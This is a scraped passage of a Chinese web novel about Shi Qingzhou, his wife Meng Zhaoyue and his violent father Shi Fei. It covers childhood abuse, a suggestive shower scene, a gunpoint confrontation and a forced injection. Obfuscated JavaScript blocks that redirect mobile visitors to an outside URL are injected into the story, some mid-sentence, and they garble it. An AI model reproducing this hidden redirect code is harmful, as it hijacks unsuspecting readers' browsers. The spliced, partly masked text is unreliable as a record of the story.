孟昭月好奇地伸出手,打开了那个盒子。 里面是空的。 “这是生我的那个女人的骨灰盒。” 时卿舟的声音从她身后传来,平淡得听不出任何情绪。 孟昭月她眨了眨眼,才反应过来,时卿舟说的是他的亲生母亲。 **、**。 这是她听到的、关于时卿舟母亲最多的两个标签。 “为什么是空的?” 不知道为什么,她下意识地觉得是时莉莉做的。 她问了出来:“是……时莉莉做的吗?” “这次不是。”时卿舟摇了摇头,很自然地将她揽进怀里,下巴抵着她的发顶。 孟昭月有些懵? 什么叫作……这次? 随后时卿舟的声音传来:“骨灰是我扔掉的。” 孟昭月愣住了。 她抬头看向时卿舟。 时卿舟似乎察觉到了她的困惑,他低下头,唇角勾起一个弧度。 “那个时候,我的主人格,清醒的时间太少。” “一直有这么一个所谓的‘弱点’放在这里,不好控制。” “所以,我就干脆亲手毁掉了。” 孟昭月怔怔地看着他。 她好像……让时卿舟回忆起不好的事情了。 “对不起。”她的语气带上内疚。 时卿舟听到她的话,愣了一下。 随即,他低低地笑出了声。 胸腔的震动通过紧贴的身体,清晰地传递给了孟昭月。 “月月不用道歉。”他收紧手臂,将她抱得更紧了些,脸颊在她的发间亲昵地蹭了蹭。 “因为我对这个所谓的‘亲生母亲’,没有任何感情。” “我这一辈子,就见过那个女人两次。” 他的声音很平淡。 “第一次,是在贫民窟。” “我正和一群野狗抢一块发了霉的面包。” “一个穿着精致的女人突然出现。” “她说,我是她的儿子,然后就带走了我。” “第二次见到她,就是福伯把这个骨灰盒递给我的时候。” “我只是她能够住进时家的通行票。” 他看着孟昭月,近乎痴迷的目光,指尖一遍又一遍地,抚摸着她的脸颊。 他的指尖很凉,就像这个房间。 “月月,我没有家人。” 在孟昭月耳中莫名听到了某种孤独的意味。 “我一直只有我一个。” “我已经习惯了,只有我一个。” 孟昭月看着他眼中的痴迷。 她慢慢勾起了唇角。 她伸出手,覆盖住了他那只冰凉的手。 然后用自己的脸颊,蹭了蹭他的手心。 像一只小猫。 “某个笨蛋。” 她的声音软软糯糯的,却又有几分温柔。 “忘记自己已经娶妻子耶。” “妻子,就是家人呀。” 时卿舟的手停住了。 “时卿舟,我是你的家人。” “你有我。” “我们,拥有彼此。” 话音落下的瞬间,时卿舟的瞳孔骤然缩紧。 家人。 她说,她是他的家人。 他将孟昭月紧紧地抱进了怀里。 他的家,就在他的怀里。 他的孟昭月。 …… 时间不早了,孟昭月准备去洗个澡睡觉。 这个房间的浴室和房间本身一样,狭小又陈旧。 墙壁上的瓷砖甚至有几块出现了细微的裂痕。 她刚关上门,刚脱下身上的衣服。 门就被人从外面推开了。 时卿舟走了进来,顺手将门带上。 “这里的淋浴设备是老式的,水温不好调。” 他很自然地解释道,脸上是温和的笑容。 “我怕你不会用,烫到自己。” 目光却毫不避讳地落在她的身上,甚至还带上了几分欣赏的意思。 孟昭月:“……” 她默默把衣服穿了回去。 往旁边站了站,给他让出位置。 时卿舟很明显地露出了可惜的神色。 浴室的空间本就局促,现在挤了两个人,愈发显得拥挤。 空气里都是他身上那股熟悉的、好闻的气息。 混合着水汽,将她整个人都包裹起来。 孟昭月感觉自己站在这里还是有些妨碍时卿舟的动作。 毕竟这个浴室实在是太小了。 她干脆一转身,坐到了旁边老旧的洗浴台上。 这么一来,她的视线高度便与站着的时卿舟差不多齐平了。 她白嫩的小腿晃来晃去。 时卿舟的目光落到她的小腿上,眸色深了几许。 他似乎压抑了一下,才伸手调试那个看起来就很有年代感的水龙头开关。 孟昭月悠然自得地看着他认真的侧脸。 水流声哗哗响起,温热的蒸汽很快就在逼仄的空间里弥漫开来。 “阿卿。”她突然开口。 “嗯?”时卿舟没有回头,只是从喉咙里发出了一个单音节的回应。 “跟我说说你小时候的事情吧。” 时卿舟调试水温的动作没有停:“宝贝想听什么?” 孟昭月欣赏着他的侧脸:“我想听你和时莉莉的事情。” 时卿舟调试水温的动作,停了下来。 他转过头,那双深邃的桃花眼在缭绕的蒸汽中静静地看着她,没有说话。 孟昭月也不催促。 只是歪了歪头,回望着他。 乖乖的。 时卿舟看着,抿了抿唇。 想吃。 对视片刻,他转回头,继续调试着水温。 “知道训犬师吗?”他的声音混杂着水声中响起。 孟昭月想了想,点了点头:“知道呀,就是训练狗狗的人。” “对。”时卿舟的声音很轻,“我就是那条狗。” 孟昭月脸上的笑容,僵住了。 然后,一点一点地,褪了下去。 “最开始的时候,是纯粹的恶意。” 时卿舟的声音没有起伏。 像是在讲述一个与自己毫不相干的故事。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756294|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时莉莉和时燃,还有时家的其他几个孩子,他们以霸凌我为乐。” “按着我的头吃他们踩过的食物,或者把我当成靶子,用石头丢我。” “诸如此类,花样很多。” “直到有一天。” 他顿了顿,似乎在回忆着什么。 “时莉莉带着时燃,找到了那个骨灰盒,就是你刚刚看到的那个。” “她们要把里面的骨灰从阳台上撒下去。” “就在那个时候,时莉莉好像突然找到了一个新玩具。” “她对我的态度变了。” 现在想来,哪是什么态度变了。 她应该就是在那个时候绑定系统的。 时卿舟冷笑。 “她开始关心我,照顾我。” “会给我带吃的,会在我被别人欺负的时候站出来保护我。” “她对着所有人宣布,我是她的狗,除了她,谁都不准再欺负我。” 孟昭月安静地听着,身侧的手不自觉地攥紧了衣角。 “所以你……” 她想问,所以你就真的把她当成主人了吗? 因为所谓的“救赎”? 时卿舟似乎知道她想问什么,他关掉水龙头,转过身看着她。 “那个时候,我的主人格,还在沉睡。” “经历这些的,是我的副人格。” “还有,她身上的气味很恶心,隔着很远都能闻到。” 孟昭月愣了愣。 时莉莉身上有气味? 她没问到过呀。 不过,难怪时莉莉每次提到时卿舟,都是那副理所当然、宣告所有权的自信模样。 她想着,心里涌上一股说不清道不明的不爽。 阿卿明明是她的才对诶! “但是,时莉莉的情绪极度不稳定。” 时卿舟的声音继续道: “她会带着甜美的笑容,向那个废物撒娇,给他糖果,抚摸他的头发。” “也会在下一秒突然发疯,要求他像真正的狗一样,跪在地上爬。” 孟昭月微微蹙起了眉。 她想起了那天在时卿舟的公寓,他蜷缩在卧室门口的地板上睡觉的场景。 她越听越生气。 凭什么? 凭什么她的时卿舟,要被那样对待? 就算不是同一个人格,那也是他的身体! “那个废物。” 时卿舟看着孟昭月,微微勾起唇,的语气里带上了毫不掩饰的嘲讽。 “被时莉莉驯得患得患失。” “只要看到时莉莉,就会控制不住地摇尾巴,渴望得到她一点点的垂怜和关注。” 孟昭月咬住了下唇。 她无法想象,时卿舟对着另一个女人卖萌撒娇、摇尾乞怜的样子。 光是想一想,她就觉得胸口堵得慌,一股无名火直往上窜。 时卿舟看着她那双漂亮的杏眼幽幽地盯着自己。 仿佛在无声地控诉着什么。 他伸手,轻轻摸了摸她的头发。 像是在安抚一只炸了**的小猫。 “和时莉莉接触的,都是那个废物。” “我从来没接触过她。” 他说着,又转身,重新去调试水温了。 老式的开关,关了就要重新调。 孟昭月看着他专注的侧脸,幽幽地开口。 “那个时卿舟,说要当我的狗哦。” “他还舔我了。” 时卿舟调试水温的动作,没收住。 他手腕一抖,猛地将开关拧到了最大! “哗——!” 淋浴喷头里,水流瞬间倾泻而下,劈头盖脸地浇了他一身。 瞬间湿透。 黑色的发丝紧贴着额角和脸颊,水珠顺着他轮廓分明的下颌线不断滑落。 身上的白衬衫也湿透,变得半透明,紧紧地贴在他身上。 勾勒出胸膛和腹部紧绷结实的肌肉轮廓。 若隐若现。 他整个人都僵在了那里,被淋浴的暴雨冲刷着。 然后,他缓缓地,缓缓地,转过头。 那双漂亮的桃花眼,在滴水的发梢下,死死地盯着她。 眼底是压抑到极致的、几乎要喷薄而出的疯狂。 孟昭月看着他的模样,心里的那点不爽和郁闷,瞬间烟消云散。 阿卿好可爱呀。 特别是吃醋的样子。 她伸出纤细的手指,轻轻勾起了他的下巴。 撩拨,故意而慢条斯理。 “阿卿。” 她的声音软软糯糯。 像裹了蜜的糖,甜得发腻。 “我也想要狗。” 第97章 翁媳 孟昭月的话的尾音还在这狭仄的浴室里回响。 时卿舟僵在原地。 湿透的身体在缭绕的蒸汽中显得有些模糊。 那双漂亮的桃花眼就那么直直地看着她,眼底翻涌着的情绪在那一刻凝固。 他愣住了。 几秒钟后,一声极轻的、压抑的笑声从他喉咙深处溢出。 “呵……” 那笑声很低,带着某种说不清道不明的阴影。 尽是在哗哗的水声中,多了几分诡异感。 他猛地抓住孟昭月那只还勾着他下巴的手。 力道不小,孟昭月娇嫩的皮肤顿时就被捏出了红印。 孟昭月吃痛,下意识地就想把手抽回来。 可他的手收得更紧了。 时卿舟没有说话,只是低下头,将她的手送到唇边。 然后不轻不重地咬住了她的指尖。 孟昭月感觉自己的指尖都麻了。 他松开牙齿,温热的舌尖在那被咬过的地方轻轻吻着。 那动作,带着一种近乎虔诚的意味。 时卿舟一边吻着,一边抬眼看向孟昭月。 那双桃花眼,瞧得孟昭月心头一跳。 像一只野性未驯的恶犬,在向自己的主人,献上最原始的忠诚。 他的吻,顺着她的指尖,一路向下。 手心、掌根、手腕…… 每一寸肌肤,都被他细细密密地、不轻不重地啃咬、亲吻。 吻的触感,伴随着细微的刺痛。 孟昭月只觉得自己脸上红得不行。 “狗……” 他沙哑的声音,混杂在水流声中,贴着她的皮肤响起。 “是要听主人的话的。” 孟昭月看着男人,心底像是填满了一般。 她的声音也跟着软了下来:“那……你听我的话吗?” 时卿舟闻言,慢慢地,勾起了唇。 眸子紧紧锁住孟昭月。 像是一只狩猎的野兽。 疯狂、沉溺、跃跃欲试。 “听。” 话音落下的瞬间,孟昭月只觉得天旋地转。 时卿舟一把将她从洗浴台上拽了下来,将她整个人都死死地按在了瓷砖墙壁上! “哗——!” 温热的水流从淋浴喷头里倾泻而下,瞬间将两人从头到脚淋了个透彻。 孟昭明月被浇得一个激灵,下意识地闭上了眼睛。 努力睁开眼后,水流太大,她什么都看不清,眼前只有一片白茫茫的水雾。 耳朵里也全哗哗的水声。 她只能感觉到,一个高大的、滚烫的身影,将自己完全笼罩。 他的气息,他的体温,他强劲有力的心跳…… 然后,她听到他在她耳边,用一种近乎虔诚的、沙哑的语调,唤道: “主人。” …… 不知过了多久,浴室里的水声终于停了。 孟昭月整个人都软成了一滩水,几乎是像只树袋熊一样,无力地挂在时卿舟身上。 时卿舟将她从浴室里抱了出来。 然后动作轻柔地将她放在了那张单人床上。 时卿舟看着怀里那副眼角还泛着红晕的可怜模样,心情愉悦到了极点。 他唇角勾起一个愉悦的弧度,低笑出声。 “这就不行了吗?” 他的声音里带着几分食髓知味的慵懒和戏谑。 “主人?” 听到这两个字,孟昭月原本已经涣散的意识瞬间回笼。 身体下意识地颤抖了一下。 刚刚在浴室里,两人就是纯洁的亲亲抱抱,什么都没发生,超纯洁! (审核大人求放过!) 男人用各种不同的语调,或虔诚、或疯狂、或哀求地重复着这个称呼。 弄得她现在听到这两个字,几乎都要应激了。 她费力地睁开眼,那双被水汽浸润的杏眼湿漉漉的,可怜兮兮地看着他。 “不要小狗了……”她嘟囔着,声音里带着浓重的鼻音。 这哪是什么小狗啊,明明是头饿狼。 不敢要了。 “这可不行。” 时卿舟笑着摇了摇头,俯下身,在她泛红的眼尾,落下一个吻。 他将她凌乱的湿发拨到一边。 高大的身影重新压了上来。 “今天……还早呢。” …… 第二天清晨。 孟昭月一脸郁闷地坐在床边。 时卿舟则拿着一支遮瑕膏,仔仔细细地帮她涂抹着脖颈和锁骨处的痕迹。 “你轻点……”她抱怨着,声音还有些沙哑。 “都快被你啃秃噜皮了。” 时卿舟的动作顿了顿,抬起眼,那双漂亮的桃花眼里满是愉悦的笑意。 他没有反驳,只是低下头,在她抱怨的嘴角,不轻不重地亲了一下。 “知道了,主人。” 孟昭月:“不准再这么叫了!” “好,听乖宝的。” 她气呼呼地瞪了他一眼,脸颊却不受控制地红了。 就在这时,她的手机响了起来。 孟昭月拿过手机一看,是许蔓。 她连忙清了清嗓子,接通了电话。 “许组长。” “昭月?你怎么还没来公司?”许蔓的声音从听筒里传来。 孟昭月这才后知后觉地想起来,今天还要上班。 她看了一眼墙上的挂钟,哀嚎一声。 这里是时家庄园,在市郊。 开车到市中心的星瀚科技,不堵车的情况下都要接近两个小时。 现在这个时间点,怎么都不可能赶到了。 “那个……许组长,不好意思啊,我今天可能……得请个假。”她有些不好意思地说。 通话期间,一只温热的手,不老实地在她腰间打着圈。 孟昭月身体一僵,连忙按住那只作乱的手。 压低声音瞪着身旁的男人:“你别闹!” 时卿舟对她温柔地笑了笑,手上的动作却没有停下。 “怎么了,昭月?”电话那头的许蔓似乎听到了她声音里的异样,关心地问。 “没、没事!”孟昭月红着脸,连忙否认。 “对了,”许蔓没有再追问,“下周五是我生日,我想办个生日派对,你能来吗?” 孟昭月犹豫了一下。 但想到许蔓之前的话,还是答应了下来:“好。” “太好了!”许蔓松了口气,“对了,你怎么突然要请假?是不是哪里不舒服?” 孟昭月支支吾吾的,不知道该怎么解释。 总不能说自己是因为那啥啥过度,起不来床吧? 就在她绞尽脑汁思考借口的时候,手中的手机,突然被抽走了。 是时卿舟。 他将手机放到耳边,另一只手指尖勾起一缕她的头发撩拨着,脸上却是一副斯文有礼的模样。 “你好,许小姐。” 他的声音温和而平稳。 “我是月月的丈夫。” 电话那头的许蔓听到时卿舟的声音,明显愣住了。 过了几秒才结结巴巴开口:“时、时少?” 时卿舟神色未变,依旧斯文有礼:“月月昨天晚上运动过度了,今天起不来床。” “所以,就拜托许组长给个假吧。” 许蔓愣了愣,随即语无伦次地回答:“好、好的!身体要紧,好好休息,好好休息!” 孟昭月听着,整个人都快要烧起来了。 斯文败类! 时卿舟直接挂断了电话。 他好整以暇地看着怀里那个已经快要熟透的小姑娘,眼底漾开的全是温柔的笑意。 孟昭月又羞又恼,一把将自己的手机抢了回来。 那双湿漉漉的杏眼瞪着他,压低了声音。 “你……变态!” 时卿舟脸上的表情无辜,那双漂亮的桃花眼眨了眨。 “哪里变态了?” 他凑近了一些,温热的呼吸喷洒在她的脸上。 “我不是如实说的吗?” 孟昭月:“……” 这个家伙! 她气得说不出话来,只能鼓起腮帮子。 就在这时,房间的门被人从外面敲响了。 “十九少爷,先生请您和少夫人去书房一趟。” 是福伯的声音。 时卿舟脸上的笑意淡了些,他看了一眼紧闭的房门,然后将目光重新投向怀里的孟昭月。 孟昭月也听到了福伯的话,她心里咯噔一下。 时费…… 时家的家主,时卿舟的父亲。 孟昭月沉默了一会,然后乖巧地对他点了点头。 得到她的回应,时卿舟才对着门外应了一声。 “知道了。” …… 路上。 当他们绕过一个回廊时,不远处突然传来一阵欢呼声和水花四溅的声音。 还夹杂着隐隐约约的呜咽声。 孟昭月好奇地循声望去。 只见远处一个巨大的玻璃穹顶建筑内人影绰绰,水光粼粼。 可惜被茂密的冬青树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他看着躺椅上的男人,脸上重新挂上了那副温和疏离的笑容。 “父亲,二十弟。” 孟昭月被眼前这幕堪称惊悚的场景弄得有些发懵。 她大脑一片空白,只能跟着时卿舟,小声地问候。 “伯父好,弟弟好。” 躺椅上的时费,缓缓地睁开了眼睛。 没过多久,换血结束了。 医疗人员动作迅速地收拾好仪器,躬身退了出去。 那个被称为“二十弟”的年轻男人也被人扶着,他站起身时,身体晃了晃,几乎站立不稳。 他踉踉跄跄地朝着门口走去。 在经过时卿舟身边时,脚步顿了一下,又看了他一眼,然后低着头离开了。 时卿舟脸上的笑容没有变化,只是眼底的温度更冷了一些。 书房里恢复了安静。 时费看起来神采奕奕,他坐直身体,端起旁边桌上的一杯参茶,慢条斯理地品了一口。 他似乎看出了孟昭月的困惑和惊恐,唇角勾起一个没有温度的弧度。 “人老了,身体里的细胞就会衰败。” 他平淡地解释着,目光却意有所指地落在时卿舟身上。 “不过没关系,年轻血液里的小细胞外囊泡,能让那些衰老的细胞重新焕发活力。” “我有很多孩子,他们都很‘孝顺’。” 他声音里的警告意味不言而喻。 孟昭月听得心头发寒。 这哪里是孝顺,这分明是把自己的儿子当成了移动的血袋和器官储备库。 时费的目光,缓缓地落在了孟昭月身上。 那是一种毫不掩饰的打量。 他的视线从她精致的脸蛋,滑到纤细的脖颈,再到被衣服包裹住的身体曲线上。 充满了估价、凝视的意味。 那眼神,完全不是在看自己的儿媳,而是在审视一个异性猎物。 孟昭月被他看得浑身不自在,下意识地往后缩了缩。 下一秒,她就落入了一个温暖的怀抱。 时卿舟手臂一横,将她完全挡在了自己的身后,隔绝了那道令人作呕的视线。 书房里的气氛,瞬间剑拔**张。 时费看着儿子那副保护者的姿态,不以为意地轻笑一声。 “林爱娥昨天跟我说。” 他放下茶杯,声音不咸不淡。 “让我这个当父亲的,帮你好好把把关。” 第98章 父与子 林爱娥,时费的妻子。 时卿舟将孟昭月完全护在怀里。 那张总是挂着温和笑意的面,此刻彻底消褪。 他盯着眼前这个名为“父亲”的男人,声音冷了下来。 “你到底想做什么?” 时费放下手中的参茶,慢条斯理地站起身。 他的目光越过时卿舟,落在了被他护得严严实实的孟昭月身上。 “我有很多女人。”他的声音平淡。 “漂亮的,聪明的,性感的,温顺的……什么样的都有。” “但你很特殊,孟小姐。” 他踱步到书桌前。 然后视线重新黏在孟昭月身上。 贪婪、赤裸。 “你像一张干净的白纸,什么都没有。” “让人……忍不住想要在上面涂抹点什么。” 时卿舟揽着孟昭月腰间的手臂收紧了。 他周身的气压越来越低。 书房里昏暗的灯光在他脸上投下浓重的阴影。 时费对儿子身上散发出的危险气息毫不在意,他甚至还轻笑了一声。 “她对我们这种黑暗里人……简直是**,对吧?” 时费的目光重新落到时卿舟身上。 “我能理解你为什么会被她吸引,我的儿子。” “她很珍贵。”时费的语气里带上了残忍的笑意。 “尤其……对你来说。” 时卿舟的手,悄无声息地滑向了腰后。 时费却没有继续这个话题,他伸出手,轻轻抚摸着书桌旁枪架上的一把老式**。 Holland&Holland皇家级双管**。 **是温润的胡桃木,雕刻着繁复的家族徽记。 保养得极好。 “孟小姐,你知道我是怎么坐上今天这个位置的吗?” 孟昭月沉默。 她不知道,也不想知道他的心灵鸡汤的。 更不喜欢这个老头看自己的眼神。 时费的手指在枪身上缓缓划过,像是在抚摸情人的皮肤。 “当年,我在这个家里,只是最不起眼的那个。” “直到有一天……” “我用这把枪,把我父亲的脑袋,轰碎了。” “砰。” 时费模仿着枪响,发出了一个轻微的气音。 孟昭月的心头跟着一跳。 这鸡汤毒得很。 “从那天起,我才真正明白,权力是什么味道。” “如此美妙。” “它让你无所不能,让你掌控一切。” “你会爱上它,会不惜一切代价,想要永远地拥有它。” 他抚摸着**,声音里带着一丝遗憾。 “只可惜……人,是会老的。” 时卿舟听着他的话,眼中的神色越来越冷。 他已经大体猜到了时费所有的铺垫。 几乎是在时费话音落下的下一秒! 时卿舟猛地拔出身后别着的P30L**,动作快得只留下一道残影! 直指时费的眉心! 然而,时费的反应更快! 他几乎是同步地抬起了手中的**。 两个枪口,像野兽的眼睛,死死地锁定了时卿舟! “铛——”“铛——”“铛——”…… 书房内座钟整点报时的钟声响起。 昏暗的灯光下,父与子,**相对。 一把现代,一把老式。 时卿舟的脸上是毫不掩饰的杀意,而时费则是玩味的、掌控一切的笑容。 “十九,你的反应很敏锐。”时费勾起唇角,“但是你也太小看你老子了”。 时卿舟没有说话,只是将孟昭月更紧地护在怀里,枪稳稳地指着自己的父亲。 时费举着枪,突然开口,问了一个毫不相干的问题。 “我的儿子,你相信死而复生吗?” 时卿舟的瞳孔骤然缩紧。 “我知道你杀了莉莉。”时费的语气平淡,“但是,她复活了。” “我那可爱的、令人宠爱的小公主,居然有了这么有趣的力量。” “太有趣了,对不对?应该再确认一下。” “于是……”他脸上的笑容变得更加残忍。 “我让人,又把她杀了一次。” 孟昭月震惊。 时莉莉不是他最宠爱的女儿? “她还是活了过来。”时费的声音里带上了几分狂热。 “多美妙的力量。” “而这种力量,正是我想要的。” “——永生。” 他的目光灼灼地看着时卿舟:“你一定知道些什么。” “我不知道。”时卿舟冷声回答。 时费笑了笑:“没关系。” 书房的门突然被撞开! 几个保镖冲了进来! 时卿舟毫不犹豫地连续扣动**! 时费却早有预料。 保镖破门的瞬间,他就侧身躲开。 **擦着他的肩膀飞过,打碎了身后的一个古董花瓶。 保镖们迅速上前,试图控制住时卿舟。 时卿舟动作干净狠厉,瞬间反击。 直到,冰冷的**枪口,抵在了孟昭月的太阳穴上。 时卿舟的动作,停住了。 保镖们立刻上前,死死地控制住他,夺走他手中的枪。 时费用**抵着孟昭月的脑袋,露出了属于胜利者的笑容。 很快,福伯带着一个穿着白大褂、戴着口罩的男人走了进来。 男人从医药箱里抽出一支装满了透明液体的注射器。 又有几个保镖上前,按住了挣扎的孟昭月。 孟昭月因这突如其来的变故有些惊慌,下意识地挣扎起来。 却被死死地按住,动弹不得。 “放开她!”时卿舟挣扎着,目眦欲裂。 孟昭月冷冷盯着靠近的注射器细针。 穿着白大褂的男人将针头刺入了孟昭月的手臂静脉。 结束后。 保镖们松开了手。 “阿卿。”孟昭月立刻扑进了时卿舟的怀里,身体因为恐惧而颤抖。 时卿舟紧紧地抱住她,盯着时费,眼底的杀意几乎要凝成实质。 福伯和那个穿着白大褂的男人对着时费深深鞠了一躬,然后地退了出去。 木门合上。 书房里再次恢复了安静。 时费将那把老式**重新放回枪架上,动作慢条斯理。 “刚刚注射进她身体里的药物,是一种**。” 孟昭月闻言下意识摸了摸自己的针眼。 时卿舟抱着孟昭月的手臂收得更紧了。 “会让人慢慢衰败,最后在极度的痛苦中死去。” “解药,全世界只有我手上这一份。” 时费走到书桌后,重新坐回那张宽大的皮质椅子里,姿态居高临下。 “时卿舟,我要时莉莉身上那种死而复生的力量。” “你去,把它抢过来,献给我。” “否则,后果你知道的。” 至于为什么他不亲自出手。 自然不是因为什么可笑的父女之情。 时莉莉身上那股力量太过诡异,他还需要一个炮灰,去前面探探雷。 时卿舟沉默着,那双深邃的桃花眼里看不出任何情绪。 过了很久。 他才终于开口,声音平静无波。 “好。” …… 穿着白大褂的男人提着药箱走出书房,福伯沉默地走在他的身后。 到达走廊的拐角处,一道纤细的身影却拦在了路上。 素净长裙,清纯美好,娇娇柔柔,凭栏而立。 是白岺。 她的手,轻轻抚摸着自己平坦的小腹。 福伯见到白岺愣了愣,恭敬问道:“白夫人,您怎么出来了?” 这位时费最喜欢的新情人,平日里都是一个人安静待在屋里的。 “福伯,我有些不舒服……能请医生帮我看看吗?” 她的语调温温柔柔的,带着几分恰到好处的担忧 穿着白大褂的男人看向福伯,等待着他的示下。 福伯犹豫一会,但最终还是点了点头。 “既然白夫人身体不适,那自然不能耽误。”他的声音依旧恭敬,“毕竟,这可是先生的血脉。” 穿着白大褂的男人闻言,对着福伯微微颔首,然后便跟着白岺,走向了另一侧的房间。 …… 另一边,时费的书房门再次打开。 时卿舟带着孟昭月走了出来。 门再次合上。 一走出书房,他立刻停下脚步,捧起孟昭月的脸,仔仔细细地检查着。 “乖乖,现在感觉怎么样?” 孟昭月摸了摸自己手臂上那个小小的针眼,已经不疼了。 但她还是皱起了小脸,声音软软糯糯。 “感觉有点不舒服。” 时卿舟的脸色瞬间冷了下去。 他小心翼翼地撩开她的袖子,看着那个**,眼底的风暴在凝聚。 “阿卿亲亲我就不难受了。”孟昭月杏眼亮晶晶地看着他。 时卿舟的动作停住了。 他看着她,几秒钟后,唇角勾起一个弧度。 他低下头,却不是亲吻,而是不轻不重地咬了一下她的嘴唇。 “月月学坏了。”他的声音很低,带着几分缱绻的笑意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765467|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>孟昭月一脸乖巧道:“跟阿卿学的。” 时卿舟眼中神色柔和了下来,揉了揉她的头发。 “不害怕吗?还有心思开玩笑。” “不是说过了吗?”孟昭月踮起脚尖,在他唇上回亲了一下,“只要有阿卿陪着,就不害怕。” 时卿舟沉默了一会,然后才低低地叹了一声。 “我的月月呐……” 那声音里,是餍足,是痴迷,是灵魂都在战栗的欢愉。 这么乖的孟昭月,属于他。 真好。 …… 白岺的房间内,香薰清雅。 白岺脸上那副柔弱的表情早就消失了。 取而代之的是毫不掩饰的担忧。 “孟姐姐现在怎么样了?” 男人的口罩早已摘下了,那张清隽的脸。 正是江浩奚。 他正坐在桌前,敲击着键盘,闻言头也没抬。 “少爷跟眼珠子似的护着,能怎么样。” 他的声音带着几分调侃。 “时费最近在捣鼓特殊毒素的事,你不是都提前给我消息了?” “少爷早就把医疗组里那个负责药物配置的人换成了自己人。” 江浩奚说着,将一份刚刚伪造好的孕检报告保存了下来。 “要不是少爷不放心,我都不用亲自来。” “放心。” “给孟小姐注射的,是我换掉的聚左旋乳酸,美容的。” 白岺松了口气,随即又有些好笑地看着他:“在时费眼皮底子下行事,胆子真大,不怕被发现?” “天塌下来有少爷顶着,怕什么?” 江浩奚合上电脑,身体后仰靠在椅背上,好整以暇地看着她。 “倒是你,肚子里的血脉,什么时候揣上的?” 白岺脸不红心不跳地回答:“昨天刚揣上的。” “啧。”江浩奚摇了摇头,“连时费的种都敢**,就不怕玩脱了?” 白岺不以为意,“不是有你这个名医在这儿?” “我可不是妇产科的。”江浩奚哼了一声。 白岺:“那你真见死不救?” “救救救,行了吧。” 江浩奚“啧”了一声。 “这次之后,时费应该会暂时把‘黑水’借给少爷。” “毕竟,他需要少爷去对付时莉莉。” 他沉默了一会,然后问道:“说起来,你当初怎么就同意帮少爷了?” 白岺走到窗边,看着窗外沉沉的夜色:“为了孟姐姐吧,我很喜欢她。” “那种感觉很玄妙,就好像她上辈子救过我一样。” 江浩奚挑眉:“就这玄而又玄的原因?” “还有个原因……是为了我自己。” 她转过头,看着江浩奚,唇角勾起一个弧度:“我不想一辈子都窝在缅国,然后被我妈卖给老头。” “我也想翻身,想过人上人的生活。” “少爷给了我这个机会,我没理由不抓住。” 江浩奚看着她眼中的野心,勾唇:“还是个野心家。” 白岺看向江浩奚:“你不也一样?” “江家的少爷。” 江浩奚闻言眼中笑意更深了。 …… 时卿舟的房间里。 孟昭月坐在床边,看着眼前正在用手机发送着什么的男人。 安静了一会,她还是没忍住。 “阿卿,话说回来,咱们现在要怎么办嘛?” 还被自家老公蒙在鼓里的孟昭月,有些担心地问。 时卿舟停下了手上的动作,抬头看向身边的女孩。 他看着那张带着担忧的可爱小脸。 然后,脸上突然露出了一个有些苦恼的表情。 他趁机伸出手,将她紧紧地抱进怀里,下巴抵着她的发顶。 “我也不知道怎么办。”他的声音很低。 带着一种罕见的、可怜兮兮的失落感。 孟昭月愣住了。 她从没见过时卿舟露出这样的表情。 时卿舟给她的印象是无所不能的。 现在他这样可怜兮兮的。 孟昭月顿时就心疼了。 她连忙伸出手,回抱住他,手一下一下地,软软地安抚着他。 “没事,没事,我们一起想办法就好了呀。” 时卿舟在她怀里蹭了蹭,声音闷闷的。 “那……”他抬起头,漂亮的桃花眼里水光潋滟,可怜巴巴地看着她。 “月月也亲亲我。” “没准亲一下,就能想到办法了。” 孟昭月:“……” 她伸出手指,气呼呼地点了一下他的额头。 “不准学我!” 第99章 月月的房间 收拾好东西后,时卿舟带着孟昭月离开。 没了时费的阻拦,他自然要尽早带着孟昭月离开这个充满不安全因素的地方。 在经过一个通往后院的偏僻侧门时。 他们遇到了仆人,正抬什么,步履匆匆地往外走。 那是一个被白色床单包裹的人形物体,湿漉漉的。 “快点!动作快点!” 一个管事模样的男人压低了声音呵斥着。 “别耽误了莉莉小姐的事。” 仆人们的动作更加慌乱。 一个仆人脚下打滑,白布滑落了下来。 一张因溺水而极度肿胀、呈现出诡异青紫色的脸,暴露在空气中。 五官扭曲,双目圆睁,嘴巴大张着,仿佛在无声尖叫。 是时燃。 孟昭月的心脏在那一刻漏跳了一拍。 就在这时,一双温热的手掌覆上了她的眼睛。 紧接着,她落入了一个温暖的怀抱。 时卿舟将她的头按在自己胸前。 “别看。”他的声音很轻,带着安抚的意味。 孟昭月眼前一片黑暗。 但她能感觉到,一道冰冷的视线,从时卿舟身上散发出来,扫向了仆人。 仆人被吓得一个哆嗦,手脚并用,连忙将尸体重新用白布盖好,连滚带爬地抬着离开了。 …… 车子平稳地驶离了时家庄园。 孟昭月坐在柔软的后座上,最后回头看了一眼。 铅灰色的天空下,那些巴洛克风格的建筑群蛰伏在一片茫茫的白色之中。 那里没有生命,只有一个巨大的、不断吞噬着血肉的空洞。 那里……是时卿舟的家。 “我们……以后还要回来吗?”她收回目光,轻声问。 “这次是意外。”时卿舟将她揽进怀里。 